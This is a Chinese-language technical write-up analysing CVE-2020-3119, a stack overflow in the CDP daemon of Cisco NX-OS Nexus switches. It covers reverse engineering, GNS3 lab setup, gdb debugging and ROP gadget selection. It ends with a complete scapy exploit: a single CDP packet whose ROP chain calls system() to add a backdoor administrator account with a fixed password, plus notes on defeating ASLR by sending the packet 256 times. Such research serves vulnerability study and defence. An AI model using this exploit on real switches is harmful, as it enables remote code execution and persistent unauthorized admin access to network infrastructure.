漏洞介绍

CVE-2020-3119Armis Labs在2020年2月5日公开的一个Cisco CDP协议的缓冲区溢出漏洞,成功利用的情况下可以远程执行代码。

漏洞发生在Cisco NX-OS上,NX-OS是思科自研的网络设备操作系统,基于Linux内核(Wind River Linux)开发,运行在在思科的Nexus系列数据中心以太网交换机上。本次漏洞影响到Nexus 3000和Nexus 9000系列的所有交换机。

在我着手进行分析之前,知道创宇404实验室的Hcamael师傅已经写了一篇该漏洞的分析文章,对该漏洞进行了深入的分析,本文的所有内容都是建立在这篇分析文章的基础上。

CDP协议是思科专用的设备发现协议,能够运行在大部分的思科设备上面,思科设备能够在与它们直连的设备之间分享有关操作系统软件版本、IP地址、硬件平台等相关信息,是工作在链路层(二层)的协议。该协议的目的MAC地址固定,为01-00-0c-cc-cc-cc,与CDP共用这一地址的还有其他的一些协议。

根据Armis Labs的研究,经过路由器的所有二层网络报文首先都会被l2fwdr进程解析,再去除物理层报文的一些基础分装后通过mts_queue分发给各个处理不同协议的进程。本次漏洞是CDP的协议,所以我们要具体进行分析的程序是cdpd这个守护进程。

cdpd的二进制文件虽然自己不带符号信息,但是程序在运行的时候打了大量的log,详细到每进行一个操作就会有对应的日志记录函数,从这些日志中可以轻松恢复出绝大部分的函数名。如下面这个函数的截图所示,可以从函数日志中恢复出该函数的函数名为cdpd_get_domainname。(但是在逆向分析的过程中会发现有些重要的宏函数或者是inline函数被编译之后嵌入到了其他的函数体当中了。)

根据Armis Labs发布的漏洞分析,找到了该漏洞存在于cdpd_poe_handle_pwr_tlvs函数,相关的漏洞代码如下(截取有关片段):

char __cdecl cdpd_poe_handle_pwr_tlvs(int *a1, int a2, struct pwr_req *pwr_pkt_2) {
    ...
    int temp[16];
    ...
    if ( a2 || pwr_pkt_2 ) {  // CDP Version 2
        ...
        if ( pwr_pkt_2 ) {
            length = __ROR2__(pwr_pkt_2->length, 8);  // big-endian to small-endian
            req_id = __ROR2__(pwr_pkt_2->request_id, 8);
            mgmt_id = __ROR2__(pwr_pkt_2->management_id, 8);
            ...
            off_lst_start = length - 8;
            num_levels = (unsigned int)off_lst_start >> 2;// divied sizeof(int) = / 4
            ...
            if ( num_levels ) {
                current_offset = pwr_pkt_2->power_requested;
                counter = 1;
                do {
                    pwr_levels_requested = counter - 1;
                    temp[counter - 1] = *current_offset;
                    ...
                    a1[counter + 310] = large_buff[counter + 254];  // a1 dereferenced
                    ++current_offset;
                    ++counter;
                } while ( counter != num_levels + 1 );
            }
            ...
        }

    }
}

cdpd_poe_handle_pwr_tlvs函数的第三个参数pwr_pkt_2是一个指向cdp报文中Power Request开始的一个结构体指针,下图中就是指向0x9aPower Request开始的地方。同时我们也可以用wireshark了解到每一个字段的长度,type字段占用两个字节(0x0019),Length字段占用两个字节(0x84=132),request-id和managem-id都占用2个字节(0x6161=24929),然后就是每个长度4字节的Power Request数组。

在IDA中定义这个结构体相应的成员。

cdpd_poe_handle_pwr_tlvs函数在第一个if分支处理Version 1的情况,然后进入第二个分支处理Version 2的情况,然后在pwr_pkt_2指针不为空的情况下,将报文中length、req_id、mgmt_id三个字段从网络字节序转换成主机字节序,然后计算Power Request数组的长度off_lst_start,利用off_lst_start除以4的方法得到这个数组元素的个数num_levels。此时num_levels使用cdp报文中的length字段计算得到的,也就是说,是用户可控的。

然后进入一个num_levels次的循环,每次循环会将pwr_pkt_2中的一个int的数据拷贝到本地的数组temp中。

点击temp变量可以看到其在栈中相对当前函数栈底的位置,它正好是这个函数最底部的变量,并且没有启用栈cookie,距离保存的ebp的偏移是0x40也就是16个int变量的距离(0x4 / 4 = 0x10)。

由于没有对Power Request的个数进行检查,所以我们可以轻松地构造Power Request个数超过16的CDP报文,在填充16个int的padding之后就可以覆盖到ebp、返回地址以及之后的值。

环境搭建

环境搭建可能是整个漏洞复现过程中最麻烦的一个步骤,其中的坑比漏洞利用本身还要多,笔者试着将自己遇到的一些坑记录一下。

使用GNS3模拟器可以对Cisco NX-OSv 9000交换机进行全系统模拟,其实质是使用qemu进行虚拟化。笔者实验使用的GNS3版本为2.2.17,截至本文写作之时GNS3版本已升级至2.2.17,不过GNS3的版本不同应该不会有什么问题。GNS3安装本身遇到问题的话可以参见这篇教程

接下的一件事是下载固件,由于我一开始对Cisco的产品线没有什么了解,固件的格式也分不清楚,导致下载了两次都发现下载错了,和GNS3所要求使用的固件不匹配。GNS3是支持Cisco NX-OS 9000的模拟的,但是这个被模拟系统有一个另外的名字:Cisco NX-OSv 9000,NX OSv 9000是一个虚拟平台,旨在模拟运行Cisco Nexus 9000操作系统的网络设备。尽管没有实现特定的硬件仿真,但是NX OSv 9000和Cisco Nexus 9000上运行的软件是一模一样的。具体的介绍可以查阅官网

所以说,不是Cisco官网上提供的所有固件下载下来都是可以用GNS3跑的,必须要下载它指定的系统镜像,如下图所示,我们要下载nxosv-final.9.2.3.qcow2这个文件,OVMF-20160813.fd是GNS3自带的一个文件:

下载得到固件之后将固件导入到GNS3中创建模板,创建的时候默认的一些模板参数不要改动,特别是内存默认是8G的不要改小了,小于8G的话系统就跑不起来了。

在网络拓扑方面我直接将本机的WLAN端口和交换机的e1/1端口相连,在物理机编写好exp后可以直接发送给交换机。

官网的教程里有这么一段话:

需要照做,不然确实再次启动就起不来了。

系统的的启动是很慢的,需要等不少时间。等看到login prompt后输入admin和密码就可以登录了。(中间一大段是系统log)

进入Cisco的shell之后run bash即可拿到一个bash,再su输入admin的密码即可拿到rootshell。

环境到此就算搭建完成了,有了root shell也可以用gdb调试任意的进程了,接下来介绍漏洞利用的思路。

漏洞利用

scapy构造CDP报文

使用scapy可以构造CDP包,从Hcamael师傅的分析文章中截取一段模板如下:

from scapy.contrib import cdp
from scapy.all import Ether, LLC, SNAP

l2_packet = Ether(dst="01:00:0c:cc:cc:cc")
# Logical-Link Control
l2_packet /= LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03) / SNAP()
# Cisco Discovery Protocol
cdp_v2 = cdp.CDPv2_HDR(vers=2, ttl=180)
deviceid = cdp.CDPMsgDeviceID(val='nxos922(97RROM91ST3)')
portid = cdp.CDPMsgPortID(iface=b"ens38")
address = cdp.CDPMsgAddr(naddr=1, addr=cdp.CDPAddrRecordIPv4(addr="192.168.1.3"))
cap = cdp.CDPMsgCapabilities(cap=1)
cdp_packet = cdp_v2/deviceid/portid/address/cap
packet = l2_packet / cdp_packet
sendp(packet)

漏洞利用的思路比较明确,由于不存在栈canary但是有ASLR和NX,溢出后可以ROP至libc段或其他可执行段去执行system函数。

在实际测试中,libc的基址只有一个字节会发生变化。这是由于32位ASLR的是整体在一个随机的基址上进行一个整体的偏移的。所以即便面对ASLR我们也可以通过爆破一个字节来获取一个确定的libc基址,具体的原理参见Stack Overflow上的一个回答

0xf5def000 0xf5fa0000   0x1b1000        0x0 /lib/libc-2.22.so
0xf5dda000 0xf5f8b000   0x1b1000        0x0 /lib/libc-2.22.so
0xf5dfe000 0xf5faf000   0x1b1000        0x0 /lib/libc-2.22.so
0xf5d84000 0xf5f35000   0x1b1000        0x0 /lib/libc-2.22.so
0xf5e12000 0xf5fc3000   0x1b1000        0x0 /lib/libc-2.22.so

返回之前的约束

利用的过程中有两个地方需要注意:

第一个是我们在覆盖了eip之后紧接着就会覆盖到第一个参数a1的值,但是a1在程序返回之前还会被解引用,并且a1的周围还会被写入数据,所以a1必须覆盖成一个可写的指针。

还有第二个地方需要注意的是在溢出操作之后必须要尽可能快的让函数执行到返回的地方,但是在溢出点之后执行流可能会进入到cdpd_send_pwr_req_to_poed函数中,该函数会调用__memcpy_to_buf限制了Power Requested的长度在40字节以内,导致溢出失败。为了不进入这个函数,我们必须要使得下面这个if条件判断为真,进入该分支不会执行到cdpd_send_pwr_req_to_poed函数中,并且能够顺利地执行到函数返回。

v6 = *((_WORD *)a1 + 604);
v7 = *((_WORD *)a1 + 602);
v8 = a1[303];
if ( req_id == v6 && mgmt_id == v7 )

由于此时a1已经被覆盖,a1的值已经是我们所控制的值,所以结合上面的这两个约束条件,我们可以在内存中找一片可写的内存,并且该内存周围全是空值,然后设置req_id和mgmt_id也为控制,便可以满足这两个约束条件。

ROP链的构造

由于libc的基址我们已经假设爆破得到了,在该libc中寻找可以进行system的ROP链就是利用的最后一步。

这里值得提的一点是该漏洞是没有交互的,一个CDP报文发送过去之后就没有然后了,没有输入,也没有输出,所有的payload都是在一个cdp包内发送的,payload的目的也不是去执行system("/bin/sh"),而是要选择其他的命令,这里介绍两种:

第一种,可以执行反连shell的代码。

第二种,可以添加一个管理员账号,比如执行如下命令:/isan/bin/vsh -c "configure terminal ; username hacker password qweASD123 role network-admin"

我们选择第二种方法,那么最后一个问题是,这个system的参数,如何传递?

很巧的是,在溢出之后的栈上残留了一个指针,下面的例子中是0x100a883a这个指针,这个指针指向了cdp报文中的DeviceID开始的地方,于是我们可以利用这个指针在DeviceID中写入我们要执行的命令来进行system参数的传递。

但是美中不足的是DeviceID字段开头必须是固定的一个整数表示type,也就是说如果直接使用这个指针作为参数那么system的参数一定是以0x0001开头的,这是不能利用的,所以我们不得不对这个指针向后移动,至少移动4字节,指向我们所控制的数据区内。

(gdb) x/240xb 0x100a890a - 234
0x100a8820 <packet>:    0x01    0x00    0x0c    0xcc    0xcc    0xcc    0xc8    0x21
0x100a8828 <packet+8>:  0x58    0x68    0xcf    0x22    0x00    0xe2    0xaa    0xaa
0x100a8830 <packet+16>: 0x03    0x00    0x00    0x0c    0x20    0x00    0x02    0xb4
0x100a8838 <packet+24>: 0x19    0x15    0x00    0x01    0x00    0x60    0x2f    0x69
0x100a8840 <packet+32>: 0x73    0x61    0x6e    0x2f    0x62    0x69    0x6e    0x2f
0x100a8848 <packet+40>: 0x76    0x73    0x68    0x20    0x2d    0x63    0x20    0x22
0x100a8850 <packet+48>: 0x63    0x6f    0x6e    0x66    0x69    0x67    0x75    0x72
0x100a8858 <packet+56>: 0x65    0x20    0x74    0x65    0x72    0x6d    0x69    0x6e
(gdb) x/40xw $esp
0xffffc9cc:     0x64646464                    0xf680965c(1st)             0x65656565      0x65656565
0xffffc9dc:     0x65656565                    0x0000001a                  0xffffca38      0x1008ac10
0xffffc9ec:     0x1009f798                    0xffffca3c(mov_pop_edi_ret) 0xffffca58(edi) 0xffffceb8 (add_eax_0xc_ret)
0xffffc9fc:     0x1002e8b8(push_eax_call_edi) 0x100a883a                  0x00b40000      0x100a891a

上面这是函数返回时内存的一个情况,0xffffc9cc指向被劫持的eip。

所以我们就在libc寻找可以利用的gadget,找到如下gadget:

ret = base + 0x000003f3                 # 0x000003f3 : ret
pop_edi_ret = base + 0x0001764b         # 0x0001764b : pop edi ; ret
pop_eax_ret = base + 0x00021b07         # 0x00021b07 : pop eax ; ret
mov_pop_edi_ret = base + 0x001434c2     # 0x001434c2 : mov eax, dword ptr [esp + 0xc] ; pop edi ; ret
add_eax_0xc_ret = base + 0x0010385a     # 0x0010385a : add eax, 0xc ; ret
push_eax_call_edi = base + 0x0001cb19   # 0x0001cb19 : push eax ; call edi

最后构造ROP链。

模拟器调试

首先关闭系统的ASLR

switch# run bash
bash-4.3$ su
Password:
bash-4.3# id
uid=0(root) gid=0(root) groups=0(root)
bash-4.3# ps aux | grep cdpd
root      1650  0.0  0.0   5944  1776 ttyS0    S+   01:28   0:00 grep cdpd
root     27967  0.1  0.8 832896 72008 ?        Ss   01:20   0:00 /isan/bin/cdpd
bash-4.3# cat /proc/sys/kernel/randomize_va_space
2
bash-4.3# echo 0 | tee /proc/sys/kernel/randomize_va_space
0
bash-4.3# cat /proc/sys/kernel/randomize_va_space
0

然后先用exp打一次,这个时候的cdpd是开了ASLR的,所以会崩溃,崩溃之后重启的cdpd就是没有开ASLR的了。

bash-4.3# 2021 Mar 15 01:30:34 switch %$ VDC-1 %$ %SYSMGR-2-SERVICE_CRASHED: Service "cdp" (PID 27967) hasn't caught signal 11 (core will be saved).

使用gdb attach挂载到cdpd进程上,在cdpd_poe_handle_pwr_tlvs函数ret的地方下断点,然后继续调试,同时用exp再打一遍。

bash-4.3# ps aux | grep cdpd
root      1890  1.6  0.8 835100 70452 ?        Ss   01:30   0:00 /isan/bin/cdpd
root      2519  0.0  0.0   5944  1760 ttyS0    S+   01:31   0:00 grep cdpd
bash-4.3# gdb /isan/bin/cdpd -p 1890
GNU gdb (GDB) 7.10.1
Copyright (C) 2015 Free Software Foundation, Inc.
Reading symbols from /isan/bin/cdpd...(no debugging symbols found)...done.
Attaching to program: /isan/bin/cdpd, process 1890
Reading symbols from /usr/lib/libssl.so.1.0.0...(no debugging symbols found)...done.
    ......
Reading symbols from /isan/lib/libigmp_dll.so...(no debugging symbols found)...done.
0xf7fd8c30 in __kernel_vsyscall ()
(gdb) info proc mappings
process 1890
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
        0x10000000 0x1009f000    0x9f000        0x0 /isan/bin/cdpd
        0x1009f000 0x100a1000     0x2000    0x9f000 /isan/bin/cdpd
        0x100a1000 0x103b4000   0x313000        0x0 [heap]

(gdb) b *(0x369EF+0x10000000)
Breakpoint 1 at 0x100369ef

(gdb) c
Continuing.

这次gdb就会在cdpd_poe_handle_pwr_tlvs函数返回的时候停下来,观察溢出后的栈的情况:

Breakpoint 1, 0x100369ef in cdpd_poe_handle_pwr_tlvs ()
(gdb)
(gdb) x/40xw $esp
0xffffc9cc:     0xf666b64b      0xf680965c      0xf66543f3      0xf66543f3
0xffffc9dc:     0xf66543f3      0xf66543f3      0xf66543f3      0xf66543f3
0xffffc9ec:     0xf66543f3      0xf67974c2      0xf6690790      0xf675785a
0xffffc9fc:     0xf6670b19      0x100a883a      0x00b40000      0x100a8944
0xffffca0c:     0x100a88c4      0x103447cc      0x10345ecc      0x01140201
0xffffca1c:     0x00000000      0x00000006      0x10110b0c      0x100a894a
0xffffca2c:     0xffff0006      0xf7fe79fb      0xf692926c      0x31313131
0xffffca3c:     0x6f662020      0x20646e75      0x20727750      0x736e6f43
0xffffca4c:     0x564c5420      0x3020000a      0x202c3378      0x695f6669
0xffffca5c:     0x7865646e      0x78305b3a      0x30306131      0x30303030


(gdb) x/2i 0xf666b64b
   0xf666b64b <__libgcc_s_init+139>:    pop    %edi
   0xf666b64c <__libgcc_s_init+140>:    ret
(gdb) x/i 0xf66543f3
   0xf66543f3:  ret
(gdb) x/3i 0xf67974c2
   0xf67974c2 <__strnlen_sse2+962>:     mov    0xc(%esp),%eax
   0xf67974c6 <__strnlen_sse2+966>:     pop    %edi
   0xf67974c7 <__strnlen_sse2+967>:     ret
(gdb) x/2i 0xf675785a
   0xf675785a <inet6_option_space+10>:  add    $0xc,%eax
   0xf675785d <inet6_option_space+13>:  ret
(gdb) x/2i 0xf6670b19
   0xf6670b19 <__gconv_transform_ascii_internal+201>:   push   %eax
   0xf6670b1a <__gconv_transform_ascii_internal+202>:   call   *%edi
(gdb) x/i 0xf6690790
   0xf6690790 <__libc_system>:  sub    $0xc,%esp
(gdb) x/3s 0x100a883a
0x100a883a <packet+26>: ""
0x100a883b <packet+27>: "\001"
0x100a883d <packet+29>: "jxxxxxxxx/isan/bin/vsh -c \"configure terminal ; username hacker password qweASD123 role network-admin\""

0xf680965c这个指针位于a1的位置,也就是第一个参数,是我随机选择的指向libc数据段的一个指针,它的周围都是0,满足上述的那些条件,随后用0xf66543f3处单条的ret语句调整esp的位置靠近我们想要的指针0x100a883a,然后通过

mov    0xc(%esp),%eax
pop    %edi
add    $0xc,%eax
push   %eax
call   *%edi

这5条指令实现system("/isan/bin/vsh -c \"configure terminal ; username hacker password qweASD123 role network-admin\"")的效果。

完整exp

from scapy.contrib import cdp
from scapy.all import Dot3, LLC, SNAP, sendp
import time

ethernet = Dot3(dst="01:00:0c:cc:cc:cc")
llc = LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03) / SNAP()

cdp_header = cdp.CDPv2_HDR(vers=2, ttl=180)
# deviceid = cdp.CDPMsgDeviceID(val='nxos922(97RROM91ST3)')
cmd = 'x' * (0xc - 4)
cmd += '/isan/bin/vsh -c "configure terminal ; username hacker password qweASD123 role network-admin"'
cmd += '\x00'
deviceid = cdp.CDPMsgDeviceID(val=cmd)
portid = cdp.CDPMsgPortID(iface="br0")
address = cdp.CDPMsgAddr(naddr=1, addr=cdp.CDPAddrRecordIPv4(addr="192.168.110.130"))
cap = cdp.CDPMsgCapabilities(cap=1)

base = 0xf6654000
system = base + 0x3C790
ret = base + 0x000003f3                 # 0x000003f3 : ret
pop_edi_ret = base + 0x0001764b         # 0x0001764b : pop edi ; ret
pop_eax_ret = base + 0x00021b07         # 0x00021b07 : pop eax ; ret
mov_pop_edi_ret = base + 0x001434c2     # 0x001434c2 : mov eax, dword ptr [esp + 0xc] ; pop edi ; ret
add_eax_0xc_ret = base + 0x0010385a     # 0x0010385a : add eax, 0xc ; ret
push_eax_call_edi = base + 0x0001cb19   # 0x0001cb19 : push eax ; call edi

padding = b"\x00" * 4               # Requist-ID: 0x0000, Management-ID: 0x0000
padding += b"bbbb" * 16             # Power Request Entry x 16
padding += b"cccc"                  # placeholder for saved ebp

payload = padding 
payload += pop_edi_ret.to_bytes(4, 'big')           # pop out next unused parameter a1
payload += (0xf6809b10 - 1204).to_bytes(4, 'big')   # 1st parameter : a1

payload += ret.to_bytes(4, 'big') * 7               # adjust the stack

payload += mov_pop_edi_ret.to_bytes(4, 'big')       # mov eax, dword ptr [esp + 0xc] ; pop edi ; ret
payload += system.to_bytes(4, 'big')                # addr(system) into edi
payload += add_eax_0xc_ret.to_bytes(4, 'big')       # add eax, 0xc ; ret
payload += push_eax_call_edi.to_bytes(4, 'big')     # shoot

power_req = cdp.CDPMsgUnknown19(val=payload)
power_level = cdp.CDPMsgPower(power=16)
cdp_packet = cdp_header/deviceid/portid/address/cap/power_req/power_level

# print('[+] try 256 times to see if we success ...')
# for i in range(0x100):
#     print('\r[*] sending packet {} / 256'.format(i + 1),end='')
#     sendp(ethernet/llc/cdp_packet)
#     time.sleep(0.5)

print('This payload exploit CVE-2020-3119 to gain RCE and add an administrator account')
print('username/pw: hacker/qweASD123')
print('we cannot determine whether our payload success or not in one shot')
print('because there is no interactive')
print('in reality, aslr is enabled, so we must try 256 times')
print('here demonstrate the situation without ASLR: we only need to send one packet')
sendp(ethernet/llc/cdp_packet)
print('[+] done !')

效果演示

总结与感想

  1. GNS3模拟器会不时地突然重启,比较迷惑,暂时认为是模拟器不稳定的问题。